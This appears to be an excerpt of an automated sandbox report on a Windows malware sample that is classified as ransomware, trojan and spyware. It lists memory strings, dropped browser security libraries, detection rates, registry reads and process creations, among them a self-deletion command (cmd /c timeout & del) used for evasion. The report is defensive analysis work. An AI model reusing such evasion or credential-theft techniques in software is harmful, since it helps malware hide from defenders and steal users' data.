Source: api-ms-win-core-processenvironment-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found

Source: 1COK25f1vT.exe, 00000000.00000002.385785614.000000001FB10000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenamepleasely.exe vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 00000000.00000000.280367785.0000000000418000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamepleasely.exe vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 00000000.00000002.382886146.0000000002090000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamepleasely.exeFE2X $- vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe	Binary or memory string: OriginalFilename vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491560498.000000002034C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491604512.0000000020358000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000000.380644936.0000000000418000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamepleasely.exe vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.490976694.000000001F304000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.485203963.000000001F1CC000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.477468468.000000001F990000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.466563733.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491586380.0000000020354000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.481305544.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491786540.00000000203A4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.482506212.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491708487.000000002037C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.482100861.000000001F990000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.477869582.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.469680104.000000001F990000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491349501.0000000020324000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.489027569.000000001F308000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.489151743.000000001F290000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.489151743.000000001F290000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.476648214.000000001F99C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491619490.000000002035C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.479960511.000000001F998000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.471945444.000000001F9A4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.493685455.000000001F978000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.490948392.000000001F1CC000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.471221878.000000001F998000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.473845022.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.475000686.000000001F990000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.475402246.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.470488936.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.463561095.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.478268008.000000001F998000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.468064054.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491671682.0000000020370000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491651913.000000002036C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.482913611.000000001F99C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491797103.00000000203A8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491775740.0000000020398000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491306740.0000000020318000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.485153671.000000001F990000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.478663759.000000001F998000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491836442.00000000203BC000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.471958408.000000001F99C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenamepleasely.exe vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.482084797.000000001F99C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.465766679.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.462683823.00000000203C4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.481283058.000000001F9A8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491748363.0000000020388000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.480478688.000000001F99C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.479481362.000000001F994000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491685778.0000000020374000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.479096628.000000001F990000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.476666229.000000001F9A0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491334003.0000000020320000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491806581.00000000203B4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491319974.000000002031C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491826874.00000000203B8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.472715273.000000001F9A0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.475799639.000000001F998000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.480866812.000000001F998000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs 1COK25f1vT.exe
Source: 1COK25f1vT.exe	Binary or memory string: OriginalFilenamepleasely.exe vs 1COK25f1vT.exe

Source: 1COK25f1vT.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Section loaded: crtdll.dll

Jump to behavior

Source: 1COK25f1vT.exe	Virustotal: Detection: 40%
Source: 1COK25f1vT.exe	ReversingLabs: Detection: 71%

Source: 1COK25f1vT.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll			Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll			Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1COK25f1vT.exe "C:\Users\user\Desktop\1COK25f1vT.exe"
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process created: C:\Users\user\Desktop\1COK25f1vT.exe "C:\Users\user\Desktop\1COK25f1vT.exe"
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "1COK25f1vT.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process created: C:\Users\user\Desktop\1COK25f1vT.exe "C:\Users\user\Desktop\1COK25f1vT.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "1COK25f1vT.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\1COK25f1vT.exe

File created: C:\Users\user\AppData\Local\Temp\2fda\

Jump to behavior

Source: classification engine

Classification label: mal100.rans.phis.troj.spyw.evad.winEXE@8/53@2/3

Source: C:\Users\user\Desktop\1COK25f1vT.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
